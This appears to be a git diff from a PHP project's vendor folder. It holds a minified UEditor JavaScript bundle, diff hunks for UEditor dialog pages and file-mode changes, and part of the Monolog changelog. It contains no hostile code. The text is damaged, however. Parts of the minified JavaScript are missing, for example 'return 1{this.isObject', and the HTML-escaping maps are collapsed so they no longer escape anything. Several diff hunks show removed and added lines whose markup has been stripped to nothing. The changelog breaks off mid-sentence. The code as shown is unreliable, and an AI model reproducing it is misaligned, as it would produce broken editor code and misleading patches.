baidu=window.baidu||{};window.baidu=baidu,window.UE=baidu.editor={plugins:{},commands:{},instants:{},I18N:{},_customizeUI:{},version:"4.4.0",plus:{fileExt:function(e){if(!e)return"";e=e.split(".");return 1{this.isObject(n[e])&&e in t?i[e]=this.merge(t[e],n[e]):Object.assign(i,{[e]:n[e]})}),i},extend:function(e,t,n){if(t)for(var i in t)n&&e.hasOwnProperty(i)||(e[i]=t[i]);return e},extend2:function(e){for(var t=arguments,n=1;n'](?:(amp|lt|ldquo|rdquo|quot|gt|#39|nbsp|#\d+);)?/g,function(e,t){return t?e:{"<":"<","&":"&",'"':""","“":"“","”":"”",">":">","'":"'"}[e]}):""},html:function(e){return e?e.replace(/&((g|l|quo|ldquo|rdquo)t|amp|#39|nbsp);/g,function(e){return{"<":"<","&":"&",""":'"',"“":"“","”":"”",">":">","'":"'"," ":" "}[e]}):""},cssStyleToDomStyle:(test=document.createElement("div").style,cache={float:void 0!==test.cssFloat?"cssFloat":void 0!==test.styleFloat?"styleFloat":"float"},function(e){return cache[e]||(cache[e]=e.toLowerCase().replace(/-./g,function(e){return e.charAt(1).toUpperCase()}))}),loadFile:(m1=[],function(t,n,e){var i=n1(t,n);if(i)i.ready?e&&e():i.funs.push(e);else if(m1.push({doc:t,url:n.src||n.href,funs:[e]}),t.body){if(!n.id||!t.getElementById(n.id)){var o=t.createElement(n.tag);for(r in delete n.tag,n)o.setAttribute(r,n[r]);o.onload=o.onreadystatechange=function(){if(!this.readyState||/loaded|complete/.test(this.readyState)){if(0<(i=n1(t,n)).funs.length){i.ready=1;for(var e;e=i.funs.pop();)e()}o.onload=o.onreadystatechange=null}},o.onerror=function(){throw Error("The load "+(n.href||n.src)+" fails,check the url settings of file ueditor.config.js ")},t.getElementsByTagName("head")[0].appendChild(o)}}else{var r,a=[];for(r in n)"tag"!=r&&a.push(r+'="'+n[r]+'"');t.write("<"+n.tag+" "+a.join(" ")+" >")}}),isEmptyObject:function(e){if(null==e)return!0;if(this.isArray(e)||this.isString(e))return 0===e.length;for(var t in e)if(e.hasOwnProperty(t))return!1;return!0},fixColor:function(e,t){if(/color/i.test(e)&&/rgba?/.test(t)){var n=t.split(",");if(3/.test(e.outerHTML):0==e.attributes.length},isCustomeNode:function(e){return 1==e.nodeType&&e.getAttribute("_ue_custom_node_")},isTagNode:function(e,t){return 1==e.nodeType&&new RegExp("\\b"+e.tagName+"\\b","i").test(t)},filterNodeList:function(e,t,n){var i,o=[];return utils.isFunction(t)||(i=t,t=function(e){return-1!=utils.indexOf(utils.isArray(i)?i:i.split(" "),e.tagName.toLowerCase())}),utils.each(e,function(e){t(e)&&o.push(e)}),0==o.length?null:1!=o.length&&n?o:o[0]},isInNodeEndBoundary:function(e,t){var n=e.startContainer;if(3==n.nodeType&&e.startOffset!=n.nodeValue.length)return 0;if(1==n.nodeType&&e.startOffset!=n.childNodes.length)return 0;for(;n!==t;){if(n.nextSibling)return 0;n=n.parentNode}return 1},isBoundaryNode:function(e,t){for(;!domUtils.isBody(e);)if(e!==(e=e.parentNode)[t])return!1;return!0},fillHtml:browser.ie11below?" ":"
        ",loadScript:function(e,t){var n;(n=document.createElement("script")).src=e,n.onload=function(){t&&t({isNew:!0})},document.getElementsByTagName("head")[0].appendChild(n)}},fillCharReg=new RegExp(domUtils.fillChar,"g"),axios,imageCompression,gi,hi,ki,v5,w5,x5,B5;function ii(e,t){var n;t.options.textarea&&((n=(n=!(n=t.textarea)?domUtils.getElementsByTagName(e,"textarea",function(e){return e.id==="ueditor_textarea_"+t.options.textarea})[0]:n)||domUtils.getElementsByTagName(e,"textarea",function(e){return e.name===t.options.textarea})[0])||e.appendChild(n=domUtils.createElement(document,"textarea",{name:t.options.textarea,id:"ueditor_textarea_"+t.options.textarea,style:"display:none"})),n&&!t.textarea&&(t.textarea=n),n.getAttribute("name")||n.setAttribute("name",t.options.textarea),n.value=t.hasContents()?t.options.allHtmlEnabled?t.getAllHtml():t.getContent(null,null,!0):"")}function ji(e){e.langIsReady=!0,e.fireEvent("langReady")}function Kj(){var e=this;e.document.getElementById("initContent")&&(e.body.innerHTML="

        "+(ie?"":"
        ")+"

        ",e.removeListener("firstBeforeExecCommand focus",Kj),setTimeout(function(){e.focus(),e._selectionChange()},0))}function j7(e,t){var n=domUtils.getNodeIndex;(e=e.duplicate()).collapse(t);var i=e.parentElement();if(!i.hasChildNodes())return{container:i,offset:0};for(var o,r,a=i.children,s=e.duplicate(),l=0,d=a.length-1,c=-1;l<=d;){o=a[c=Math.floor((l+d)/2)],s.moveToElementText(o);var u=s.compareEndPoints("StartToStart",e);if(0=n.nodeValue.length?this.setStartAfter(n):(t=domUtils.split(n,i),n===r?this.setEnd(t,this.endOffset-i):n.parentNode===r&&(this.endOffset+=1),this.setStartBefore(t)),o))return this.collapse(!0);return e||(i=this.endOffset,3==(r=this.endContainer).nodeType&&(0==i?this.setEndBefore(r):(i=n.nodeValue.length&&e["set"+t.replace(/(\w)/,function(e){return e.toUpperCase()})+"After"](n):e["set"+t.replace(/(\w)/,function(e){return e.toUpperCase()})+"Before"](n))}return!e&&this.collapsed||(t(this,"start"),t(this,"end")),this},insertNode:function(e){var t=e,n=1;11==e.nodeType&&(t=e.firstChild,n=e.childNodes.length),this.trimBoundary(!0);var i=this.startContainer,o=this.startOffset,o=i.childNodes[o];return o?i.insertBefore(e,o):i.appendChild(e),t.parentNode===this.endContainer&&(this.endOffset=this.endOffset+n),this.setStartBefore(t)},setCursor:function(e,t){return this.collapse(!e).select(t)},createBookmark:function(e,t){var n,i=this.document.createElement("span");return i.style.cssText="display:none;line-height:0px;",i.appendChild(this.document.createTextNode("‍")),i.id="_baidu_bookmark_start_"+(t?"":w5++),this.collapsed||((n=i.cloneNode(!0)).id="_baidu_bookmark_end_"+(t?"":w5++)),this.insertNode(i),n&&this.collapse().insertNode(n).setEndBefore(n),this.setStartAfter(i),{start:e?i.id:i,end:n?e?n.id:n:null,id:e}},moveToBookmark:function(e){var t=e.id?this.document.getElementById(e.start):e.start,e=e.end&&e.id?this.document.getElementById(e.end):e.end;return this.setStartBefore(t),domUtils.remove(t),e?(this.setEndBefore(e),domUtils.remove(e)):this.collapse(!0),this},enlarge:function(e,t){var n,i,o=domUtils.isBody,r=this.document.createTextNode("");if(e){for(n=1==(i=this.startContainer).nodeType?i=i.childNodes[this.startOffset]||(i.appendChild(r),r):i;;){if(domUtils.isBlockElm(i)){for(i=n;(n=i.previousSibling)&&!domUtils.isBlockElm(n);)i=n;this.setStartBefore(i);break}i=(n=i).parentNode}for(n=1==(i=this.endContainer).nodeType?((n=i.childNodes[this.endOffset])?i.insertBefore(r,n):i.appendChild(r),i=r):i;;){if(domUtils.isBlockElm(i)){for(i=n;(n=i.nextSibling)&&!domUtils.isBlockElm(n);)i=n;this.setEndAfter(i);break}i=(n=i).parentNode}r.parentNode===this.endContainer&&this.endOffset--,domUtils.remove(r)}if(!this.collapsed){for(;!(0!=this.startOffset||t&&t(this.startContainer)||o(this.startContainer));)this.setStartBefore(this.startContainer);for(;!(this.endOffset!=(1==this.endContainer.nodeType?this.endContainer.childNodes:this.endContainer.nodeValue).length||t&&t(this.endContainer)||o(this.endContainer));)this.setEndAfter(this.endContainer)}return this},enlargeToBlockElm:function(e){for(;!domUtils.isBlockElm(this.startContainer);)this.setStartBefore(this.startContainer);if(!e)for(;!domUtils.isBlockElm(this.endContainer);)this.setEndAfter(this.endContainer);return this},adjustmentBoundary:function(){if(!this.collapsed){for(;!domUtils.isBody(this.startContainer)&&this.startOffset==this.startContainer[3==this.startContainer.nodeType?"nodeValue":"childNodes"].length&&this.startContainer[3==this.startContainer.nodeType?"nodeValue":"childNodes"].length;)this.setStartAfter(this.startContainer);for(;!domUtils.isBody(this.endContainer)&&!this.endOffset&&this.endContainer[3==this.endContainer.nodeType?"nodeValue":"childNodes"].length;)this.setEndBefore(this.endContainer)}return this},applyInlineStyle:function(t,n,e){if(this.collapsed)return this;this.trimBoundary().enlarge(!1,function(e){return 1==e.nodeType&&domUtils.isBlockElm(e)}).adjustmentBoundary();function i(e){return 1==e.nodeType?"br"!=e.tagName.toLowerCase():!domUtils.isWhitespace(e)}for(var o,r,a=this.createBookmark(),s=a.end,l=domUtils.getNextDomNode(a.start,!1,i),d=this.cloneRange();l&&domUtils.getPosition(l,s)&domUtils.POSITION_PRECEDING;)if(3==l.nodeType||dtd[t][l.tagName]){for(d.setStartBefore(l),o=l;o&&(3==o.nodeType||dtd[t][o.tagName])&&o!==s;)r=o,o=domUtils.getNextDomNode(o,1==o.nodeType,null,function(e){return dtd[t][e.tagName]});var c,u,m=d.setEndAfter(r).extractContents();if(e&&0");n=(ie&&browser.version<9?"":"")+""+(e.iframeCssUrl?"":"")+(e.initialStyle?"":"")+o.join("")+" + - + diff --git a/vendor/modstart/modstart/asset/vendor/ueditor/dialogs/scrawl/scrawl.html b/vendor/modstart/modstart/asset/vendor/ueditor/dialogs/scrawl/scrawl.html index ab676878..6015710b 100644 --- a/vendor/modstart/modstart/asset/vendor/ueditor/dialogs/scrawl/scrawl.html +++ b/vendor/modstart/modstart/asset/vendor/ueditor/dialogs/scrawl/scrawl.html @@ -4,7 +4,7 @@ - + diff --git a/vendor/modstart/modstart/asset/vendor/ueditor/dialogs/searchreplace/searchreplace.html b/vendor/modstart/modstart/asset/vendor/ueditor/dialogs/searchreplace/searchreplace.html index b7177159..0d49a7cb 100644 --- a/vendor/modstart/modstart/asset/vendor/ueditor/dialogs/searchreplace/searchreplace.html +++ b/vendor/modstart/modstart/asset/vendor/ueditor/dialogs/searchreplace/searchreplace.html @@ -4,7 +4,7 @@ - + "+(e.iframeCssUrl?"":"")+(e.initialStyle?"":"")+o.join("")+" diff --git a/vendor/modstart/modstart/resources/asset/src/svue/components/webuploader/webuploader.js b/vendor/modstart/modstart/resources/asset/src/svue/components/webuploader/webuploader.js old mode 100644 new mode 100755 diff --git a/vendor/modstart/modstart/resources/asset/src/vendor/photoswipe/default-skin/default-skin.css b/vendor/modstart/modstart/resources/asset/src/vendor/photoswipe/default-skin/default-skin.css old mode 100644 new mode 100755 diff --git a/vendor/modstart/modstart/resources/asset/src/vendor/photoswipe/default-skin/default-skin.png b/vendor/modstart/modstart/resources/asset/src/vendor/photoswipe/default-skin/default-skin.png old mode 100644 new mode 100755 diff --git a/vendor/modstart/modstart/resources/asset/src/vendor/photoswipe/default-skin/default-skin.svg b/vendor/modstart/modstart/resources/asset/src/vendor/photoswipe/default-skin/default-skin.svg old mode 100644 new mode 100755 diff --git a/vendor/modstart/modstart/resources/asset/src/vendor/photoswipe/default-skin/preloader.gif b/vendor/modstart/modstart/resources/asset/src/vendor/photoswipe/default-skin/preloader.gif old mode 100644 new mode 100755 diff --git a/vendor/modstart/modstart/resources/asset/src/vendor/photoswipe/photoswipe-ui-default.js b/vendor/modstart/modstart/resources/asset/src/vendor/photoswipe/photoswipe-ui-default.js old mode 100644 new mode 100755 diff --git a/vendor/modstart/modstart/resources/asset/src/vendor/photoswipe/photoswipe.css b/vendor/modstart/modstart/resources/asset/src/vendor/photoswipe/photoswipe.css old mode 100644 new mode 100755 diff --git a/vendor/modstart/modstart/resources/asset/src/vendor/photoswipe/photoswipe.js b/vendor/modstart/modstart/resources/asset/src/vendor/photoswipe/photoswipe.js old mode 100644 new mode 100755 diff --git a/vendor/modstart/modstart/resources/asset/src/vendor/ueditor/dialogs/ai/ai.html b/vendor/modstart/modstart/resources/asset/src/vendor/ueditor/dialogs/ai/ai.html index 1e03eef6..c1fffcc8 100644 --- a/vendor/modstart/modstart/resources/asset/src/vendor/ueditor/dialogs/ai/ai.html +++ b/vendor/modstart/modstart/resources/asset/src/vendor/ueditor/dialogs/ai/ai.html @@ -4,7 +4,7 @@ - + - + diff --git a/vendor/modstart/modstart/resources/asset/src/vendor/ueditor/dialogs/scrawl/scrawl.html b/vendor/modstart/modstart/resources/asset/src/vendor/ueditor/dialogs/scrawl/scrawl.html index ab676878..6015710b 100644 --- a/vendor/modstart/modstart/resources/asset/src/vendor/ueditor/dialogs/scrawl/scrawl.html +++ b/vendor/modstart/modstart/resources/asset/src/vendor/ueditor/dialogs/scrawl/scrawl.html @@ -4,7 +4,7 @@ - + diff --git a/vendor/modstart/modstart/resources/asset/src/vendor/ueditor/dialogs/searchreplace/searchreplace.html b/vendor/modstart/modstart/resources/asset/src/vendor/ueditor/dialogs/searchreplace/searchreplace.html index b7177159..0d49a7cb 100644 --- a/vendor/modstart/modstart/resources/asset/src/vendor/ueditor/dialogs/searchreplace/searchreplace.html +++ b/vendor/modstart/modstart/resources/asset/src/vendor/ueditor/dialogs/searchreplace/searchreplace.html @@ -4,7 +4,7 @@ - + \ No newline at end of file diff --git a/vendor/monolog/monolog/CHANGELOG.md b/vendor/monolog/monolog/CHANGELOG.md new file mode 100644 index 00000000..a92155ee --- /dev/null +++ b/vendor/monolog/monolog/CHANGELOG.md @@ -0,0 +1,432 @@ +### 1.27.1 (2022-06-09) + + * Fixed MandrillHandler support for SwiftMailer 6 (#1676) + * Fixed StreamHandler chunk size (backport from #1552) + +### 1.27.0 (2022-03-13) + + * Added $maxDepth / setMaxDepth to NormalizerFormatter / JsonFormatter to configure the maximum depth if the default of 9 does not work for you (#1633) + +### 1.26.1 (2021-05-28) + + * Fixed PHP 8.1 deprecation warning + +### 1.26.0 (2020-12-14) + + * Added $dateFormat and $removeUsedContextFields arguments to PsrLogMessageProcessor (backport from 2.x) + +### 1.25.5 (2020-07-23) + + * Fixed array access on null in RavenHandler + * Fixed unique_id in WebProcessor not being disableable + +### 1.25.4 (2020-05-22) + + * Fixed GitProcessor type error when there is no git repo present + * Fixed normalization of SoapFault objects containing deeply nested objects as "detail" + * Fixed support for relative paths in RotatingFileHandler + +### 1.25.3 (2019-12-20) + + * Fixed formatting of resources in JsonFormatter + * Fixed RedisHandler failing to use MULTI properly when passed a proxied Redis instance (e.g. in Symfony with lazy services) + * Fixed FilterHandler triggering a notice when handleBatch was filtering all records passed to it + * Fixed Turkish locale messing up the conversion of level names to their constant values + +### 1.25.2 (2019-11-13) + + * Fixed normalization of Traversables to avoid traversing them as not all of them are rewindable + * Fixed setFormatter/getFormatter to forward to the nested handler in FilterHandler, FingersCrossedHandler, BufferHandler and SamplingHandler + * Fixed BrowserConsoleHandler formatting when using multiple styles + * Fixed normalization of exception codes to be always integers even for PDOException which have them as numeric strings + * Fixed normalization of SoapFault objects containing non-strings as "detail" + * Fixed json encoding across all handlers to always attempt recovery of non-UTF-8 strings instead of failing the whole encoding + +### 1.25.1 (2019-09-06) + + * Fixed forward-compatible interfaces to be compatible with Monolog 1.x too. + +### 1.25.0 (2019-09-06) + + * Deprecated SlackbotHandler, use SlackWebhookHandler or SlackHandler instead + * Deprecated RavenHandler, use sentry/sentry 2.x and their Sentry\Monolog\Handler instead + * Deprecated HipChatHandler, migrate to Slack and use SlackWebhookHandler or SlackHandler instead + * Added forward-compatible interfaces and traits FormattableHandlerInterface, FormattableHandlerTrait, ProcessableHandlerInterface, ProcessableHandlerTrait. If you use modern PHP and want to make code compatible with Monolog 1 and 2 this can help. You will have to require at least Monolog 1.25 though. + * Added support for RFC3164 (outdated BSD syslog protocol) to SyslogUdpHandler + * Fixed issue in GroupHandler and WhatFailureGroupHandler where setting multiple processors would duplicate records + * Fixed issue in SignalHandler restarting syscalls functionality + * Fixed normalizers handling of exception backtraces to avoid serializing arguments in some cases + * Fixed ZendMonitorHandler to work with the latest Zend Server versions + * Fixed ChromePHPHandler to avoid sending more data than latest Chrome versions allow in headers (4KB down from 256KB). + +### 1.24.0 (2018-11-05) + + * BC Notice: If you are extending any of the Monolog's Formatters' `normalize` method, make sure you add the new `$depth = 0` argument to your function signature to avoid strict PHP warnings. + * Added a `ResettableInterface` in order to reset/reset/clear/flush handlers and processors + * Added a `ProcessorInterface` as an optional way to label a class as being a processor (mostly useful for autowiring dependency containers) + * Added a way to log signals being received using Monolog\SignalHandler + * Added ability to customize error handling at the Logger level using Logger::setExceptionHandler + * Added InsightOpsHandler to migrate users of the LogEntriesHandler + * Added protection to NormalizerHandler against circular and very deep structures, it now stops normalizing at a depth of 9 + * Added capture of stack traces to ErrorHandler when logging PHP errors + * Added RavenHandler support for a `contexts` context or extra key to forward that to Sentry's contexts + * Added forwarding of context info to FluentdFormatter + * Added SocketHandler::setChunkSize to override the default chunk size in case you must send large log lines to rsyslog for example + * Added ability to extend/override BrowserConsoleHandler + * Added SlackWebhookHandler::getWebhookUrl and SlackHandler::getToken to enable class extensibility + * Added SwiftMailerHandler::getSubjectFormatter to enable class extensibility + * Dropped official support for HHVM in test builds + * Fixed normalization of exception traces when call_user_func is used to avoid serializing objects and the data they contain + * Fixed naming of fields in Slack handler, all field names are now capitalized in all cases + * Fixed HipChatHandler bug where slack dropped messages randomly + * Fixed normalization of objects in Slack handlers + * Fixed support for PHP7's Throwable in NewRelicHandler + * Fixed race bug when StreamHandler sometimes incorrectly reported it failed to create a directory + * Fixed table row styling issues in HtmlFormatter + * Fixed RavenHandler dropping the message when logging exception + * Fixed WhatFailureGroupHandler skipping processors when using handleBatch + and implement it where possible + * Fixed display of anonymous class names + +### 1.23.0 (2017-06-19) + + * Improved SyslogUdpHandler's support for RFC5424 and added optional `$ident` argument + * Fixed GelfHandler truncation to be per field and not per message + * Fixed compatibility issue with PHP <5.3.6 + * Fixed support for headless Chrome in ChromePHPHandler + * Fixed support for latest Aws SDK in DynamoDbHandler + * Fixed support for SwiftMailer 6.0+ in SwiftMailerHandler + +### 1.22.1 (2017-03-13) + + * Fixed lots of minor issues in the new Slack integrations + * Fixed support for allowInlineLineBreaks in LineFormatter when formatting exception backtraces + +### 1.22.0 (2016-11-26) + + * Added SlackbotHandler and SlackWebhookHandler to set up Slack integration more easily + * Added MercurialProcessor to add mercurial revision and branch names to log records + * Added support for AWS SDK v3 in DynamoDbHandler + * Fixed fatal errors occuring when normalizing generators that have been fully consumed + * Fixed RollbarHandler to include a level (rollbar level), monolog_level (original name), channel and datetime (unix) + * Fixed RollbarHandler not flushing records automatically, calling close() explicitly is not necessary anymore + * Fixed SyslogUdpHandler to avoid sending empty frames + * Fixed a few PHP 7.0 and 7.1 compatibility issues + +### 1.21.0 (2016-07-29) + + * Break: Reverted the addition of $context when the ErrorHandler handles regular php errors from 1.20.0 as it was causing issues + * Added support for more formats in RotatingFileHandler::setFilenameFormat as long as they have Y, m and d in order + * Added ability to format the main line of text the SlackHandler sends by explictly setting a formatter on the handler + * Added information about SoapFault instances in NormalizerFormatter + * Added $handleOnlyReportedErrors option on ErrorHandler::registerErrorHandler (default true) to allow logging of all errors no matter the error_reporting level + +### 1.20.0 (2016-07-02) + + * Added FingersCrossedHandler::activate() to manually trigger the handler regardless of the activation policy + * Added StreamHandler::getUrl to retrieve the stream's URL + * Added ability to override addRow/addTitle in HtmlFormatter + * Added the $context to context information when the ErrorHandler handles a regular php error + * Deprecated RotatingFileHandler::setFilenameFormat to only support 3 formats: Y, Y-m and Y-m-d + * Fixed WhatFailureGroupHandler to work with PHP7 throwables + * Fixed a few minor bugs + +### 1.19.0 (2016-04-12) + + * Break: StreamHandler will not close streams automatically that it does not own. If you pass in a stream (not a path/url), then it will not close it for you. You can retrieve those using getStream() if needed + * Added DeduplicationHandler to remove duplicate records from notifications across multiple requests, useful for email or other notifications on errors + * Added ability to use `%message%` and other LineFormatter replacements in the subject line of emails sent with NativeMailHandler and SwiftMailerHandler + * Fixed HipChatHandler handling of long messages + +### 1.18.2 (2016-04-02) + + * Fixed ElasticaFormatter to use more precise dates + * Fixed GelfMessageFormatter sending too long messages + +### 1.18.1 (2016-03-13) + + * Fixed SlackHandler bug where slack dropped messages randomly + * Fixed RedisHandler issue when using with the PHPRedis extension + * Fixed AmqpHandler content-type being incorrectly set when using with the AMQP extension + * Fixed BrowserConsoleHandler regression + +### 1.18.0 (2016-03-01) + + * Added optional reduction of timestamp precision via `Logger->useMicrosecondTimestamps(false)`, disabling it gets you a bit of performance boost but reduces the precision to the second instead of microsecond + * Added possibility to skip some extra stack frames in IntrospectionProcessor if you have some library wrapping Monolog that is always adding frames + * Added `Logger->withName` to clone a logger (keeping all handlers) with a new name + * Added FluentdFormatter for the Fluentd unix socket protocol + * Added HandlerWrapper base class to ease the creation of handler wrappers, just extend it and override as needed + * Added support for replacing context sub-keys using `%context.*%` in LineFormatter + * Added support for `payload` context value in RollbarHandler + * Added setRelease to RavenHandler to describe the application version, sent with every log + * Added support for `fingerprint` context value in RavenHandler + * Fixed JSON encoding errors that would gobble up the whole log record, we now handle those more gracefully by dropping chars as needed + * Fixed write timeouts in SocketHandler and derivatives, set to 10sec by default, lower it with `setWritingTimeout()` + * Fixed PHP7 compatibility with regard to Exception/Throwable handling in a few places + +### 1.17.2 (2015-10-14) + + * Fixed ErrorHandler compatibility with non-Monolog PSR-3 loggers + * Fixed SlackHandler handling to use slack functionalities better + * Fixed SwiftMailerHandler bug when sending multiple emails they all had the same id + * Fixed 5.3 compatibility regression + +### 1.17.1 (2015-08-31) + + * Fixed RollbarHandler triggering PHP notices + +### 1.17.0 (2015-08-30) + + * Added support for `checksum` and `release` context/extra values in RavenHandler + * Added better support for exceptions in RollbarHandler + * Added UidProcessor::getUid + * Added support for showing the resource type in NormalizedFormatter + * Fixed IntrospectionProcessor triggering PHP notices + +### 1.16.0 (2015-08-09) + + * Added IFTTTHandler to notify ifttt.com triggers + * Added Logger::setHandlers() to allow setting/replacing all handlers + * Added $capSize in RedisHandler to cap the log size + * Fixed StreamHandler creation of directory to only trigger when the first log write happens + * Fixed bug in the handling of curl failures + * Fixed duplicate logging of fatal errors when both error and fatal error handlers are registered in monolog's ErrorHandler + * Fixed missing fatal errors records with handlers that need to be closed to flush log records + * Fixed TagProcessor::addTags support for associative arrays + +### 1.15.0 (2015-07-12) + + * Added addTags and setTags methods to change a TagProcessor + * Added automatic creation of directories if they are missing for a StreamHandler to open a log file + * Added retry functionality to Loggly, Cube and Mandrill handlers so they retry up to 5 times in case of network failure + * Fixed process exit code being incorrectly reset to 0 if ErrorHandler::registerExceptionHandler was used + * Fixed HTML/JS escaping in BrowserConsoleHandler + * Fixed JSON encoding errors being silently suppressed (PHP 5.5+ only) + +### 1.14.0 (2015-06-19) + + * Added PHPConsoleHandler to send record to Chrome's PHP Console extension and library + * Added support for objects implementing __toString in the NormalizerFormatter + * Added support for HipChat's v2 API in HipChatHandler + * Added Logger::setTimezone() to initialize the timezone monolog should use in case date.timezone isn't correct for your app + * Added an option to send formatted message instead of the raw record on PushoverHandler via ->useFormattedMessage(true) + * Fixed curl errors being silently suppressed + +### 1.13.1 (2015-03-09) + + * Fixed regression in HipChat requiring a new token to be created + +### 1.13.0 (2015-03-05) + + * Added Registry::hasLogger to check for the presence of a logger instance + * Added context.user support to RavenHandler + * Added HipChat API v2 support in the HipChatHandler + * Added NativeMailerHandler::addParameter to pass params to the mail() process + * Added context data to SlackHandler when $includeContextAndExtra is true + * Added ability to customize the Swift_Message per-email in SwiftMailerHandler + * Fixed SwiftMailerHandler to lazily create message instances if a callback is provided + * Fixed serialization of INF and NaN values in Normalizer and LineFormatter + +### 1.12.0 (2014-12-29) + + * Break: HandlerInterface::isHandling now receives a partial record containing only a level key. This was always the intent and does not break any Monolog handler but is strictly speaking a BC break and you should check if you relied on any other field in your own handlers. + * Added PsrHandler to forward records to another PSR-3 logger + * Added SamplingHandler to wrap around a handler and include only every Nth record + * Added MongoDBFormatter to support better storage with MongoDBHandler (it must be enabled manually for now) + * Added exception codes in the output of most formatters + * Added LineFormatter::includeStacktraces to enable exception stack traces in logs (uses more than one line) + * Added $useShortAttachment to SlackHandler to minify attachment size and $includeExtra to append extra data + * Added $host to HipChatHandler for users of private instances + * Added $transactionName to NewRelicHandler and support for a transaction_name context value + * Fixed MandrillHandler to avoid outputing API call responses + * Fixed some non-standard behaviors in SyslogUdpHandler + +### 1.11.0 (2014-09-30) + + * Break: The NewRelicHandler extra and context data are now prefixed with extra_ and context_ to avoid clashes. Watch out if you have scripts reading those from the API and rely on names + * Added WhatFailureGroupHandler to suppress any exception coming from the wrapped handlers and avoid chain failures if a logging service fails + * Added MandrillHandler to send emails via the Mandrillapp.com API + * Added SlackHandler to log records to a Slack.com account + * Added FleepHookHandler to log records to a Fleep.io account + * Added LogglyHandler::addTag to allow adding tags to an existing handler + * Added $ignoreEmptyContextAndExtra to LineFormatter to avoid empty [] at the end + * Added $useLocking to StreamHandler and RotatingFileHandler to enable flock() while writing + * Added support for PhpAmqpLib in the AmqpHandler + * Added FingersCrossedHandler::clear and BufferHandler::clear to reset them between batches in long running jobs + * Added support for adding extra fields from $_SERVER in the WebProcessor + * Fixed support for non-string values in PrsLogMessageProcessor + * Fixed SwiftMailer messages being sent with the wrong date in long running scripts + * Fixed minor PHP 5.6 compatibility issues + * Fixed BufferHandler::close being called twice + +### 1.10.0 (2014-06-04) + + * Added Logger::getHandlers() and Logger::getProcessors() methods + * Added $passthruLevel argument to FingersCrossedHandler to let it always pass some records through even if the trigger level is not reached + * Added support for extra data in NewRelicHandler + * Added $expandNewlines flag to the ErrorLogHandler to create multiple log entries when a message has multiple lines + +### 1.9.1 (2014-04-24) + + * Fixed regression in RotatingFileHandler file permissions + * Fixed initialization of the BufferHandler to make sure it gets flushed after receiving records + * Fixed ChromePHPHandler and FirePHPHandler's activation strategies to be more conservative + +### 1.9.0 (2014-04-20) + + * Added LogEntriesHandler to send logs to a LogEntries account + * Added $filePermissions to tweak file mode on StreamHandler and RotatingFileHandler + * Added $useFormatting flag to MemoryProcessor to make it send raw data in bytes + * Added support for table formatting in FirePHPHandler via the table context key + * Added a TagProcessor to add tags to records, and support for tags in RavenHandler + * Added $appendNewline flag to the JsonFormatter to enable using it when logging to files + * Added sound support to the PushoverHandler + * Fixed multi-threading support in StreamHandler + * Fixed empty headers issue when ChromePHPHandler received no records + * Fixed default format of the ErrorLogHandler + +### 1.8.0 (2014-03-23) + + * Break: the LineFormatter now strips newlines by default because this was a bug, set $allowInlineLineBreaks to true if you need them + * Added BrowserConsoleHandler to send logs to any browser's console via console.log() injection in the output + * Added FilterHandler to filter records and only allow those of a given list of levels through to the wrapped handler + * Added FlowdockHandler to send logs to a Flowdock account + * Added RollbarHandler to send logs to a Rollbar account + * Added HtmlFormatter to send prettier log emails with colors for each log level + * Added GitProcessor to add the current branch/commit to extra record data + * Added a Monolog\Registry class to allow easier global access to pre-configured loggers + * Added support for the new official graylog2/gelf-php lib for GelfHandler, upgrade if you can by replacing the mlehner/gelf-php requirement + * Added support for HHVM + * Added support for Loggly batch uploads + * Added support for tweaking the content type and encoding in NativeMailerHandler + * Added $skipClassesPartials to tweak the ignored classes in the IntrospectionProcessor + * Fixed batch request support in GelfHandler + +### 1.7.0 (2013-11-14) + + * Added ElasticSearchHandler to send logs to an Elastic Search server + * Added DynamoDbHandler and ScalarFormatter to send logs to Amazon's Dynamo DB + * Added SyslogUdpHandler to send logs to a remote syslogd server + * Added LogglyHandler to send logs to a Loggly account + * Added $level to IntrospectionProcessor so it only adds backtraces when needed + * Added $version to LogstashFormatter to allow using the new v1 Logstash format + * Added $appName to NewRelicHandler + * Added configuration of Pushover notification retries/expiry + * Added $maxColumnWidth to NativeMailerHandler to change the 70 chars default + * Added chainability to most setters for all handlers + * Fixed RavenHandler batch processing so it takes the message from the record with highest priority + * Fixed HipChatHandler batch processing so it sends all messages at once + * Fixed issues with eAccelerator + * Fixed and improved many small things + +### 1.6.0 (2013-07-29) + + * Added HipChatHandler to send logs to a HipChat chat room + * Added ErrorLogHandler to send logs to PHP's error_log function + * Added NewRelicHandler to send logs to NewRelic's service + * Added Monolog\ErrorHandler helper class to register a Logger as exception/error/fatal handler + * Added ChannelLevelActivationStrategy for the FingersCrossedHandler to customize levels by channel + * Added stack traces output when normalizing exceptions (json output & co) + * Added Monolog\Logger::API constant (currently 1) + * Added support for ChromePHP's v4.0 extension + * Added support for message priorities in PushoverHandler, see $highPriorityLevel and $emergencyLevel + * Added support for sending messages to multiple users at once with the PushoverHandler + * Fixed RavenHandler's support for batch sending of messages (when behind a Buffer or FingersCrossedHandler) + * Fixed normalization of Traversables with very large data sets, only the first 1000 items are shown now + * Fixed issue in RotatingFileHandler when an open_basedir restriction is active + * Fixed minor issues in RavenHandler and bumped the API to Raven 0.5.0 + * Fixed SyslogHandler issue when many were used concurrently with different facilities + +### 1.5.0 (2013-04-23) + + * Added ProcessIdProcessor to inject the PID in log records + * Added UidProcessor to inject a unique identifier to all log records of one request/run + * Added support for previous exceptions in the LineFormatter exception serialization + * Added Monolog\Logger::getLevels() to get all available levels + * Fixed ChromePHPHandler so it avoids sending headers larger than Chrome can handle + +### 1.4.1 (2013-04-01) + + * Fixed exception formatting in the LineFormatter to be more minimalistic + * Fixed RavenHandler's handling of context/extra data, requires Raven client >0.1.0 + * Fixed log rotation in RotatingFileHandler to work with long running scripts spanning multiple days + * Fixed WebProcessor array access so it checks for data presence + * Fixed Buffer, Group and FingersCrossed handlers to make use of their processors + +### 1.4.0 (2013-02-13) + + * Added RedisHandler to log to Redis via the Predis library or the phpredis extension + * Added ZendMonitorHandler to log to the Zend Server monitor + * Added the possibility to pass arrays of handlers and processors directly in the Logger constructor + * Added `$useSSL` option to the PushoverHandler which is enabled by default + * Fixed ChromePHPHandler and FirePHPHandler issue when multiple instances are used simultaneously + * Fixed header injection capability in the NativeMailHandler + +### 1.3.1 (2013-01-11) + + * Fixed LogstashFormatter to be usable with stream handlers + * Fixed GelfMessageFormatter levels on Windows + +### 1.3.0 (2013-01-08) + + * Added PSR-3 compliance, the `Monolog\Logger` class is now an instance of `Psr\Log\LoggerInterface` + * Added PsrLogMessageProcessor that you can selectively enable for full 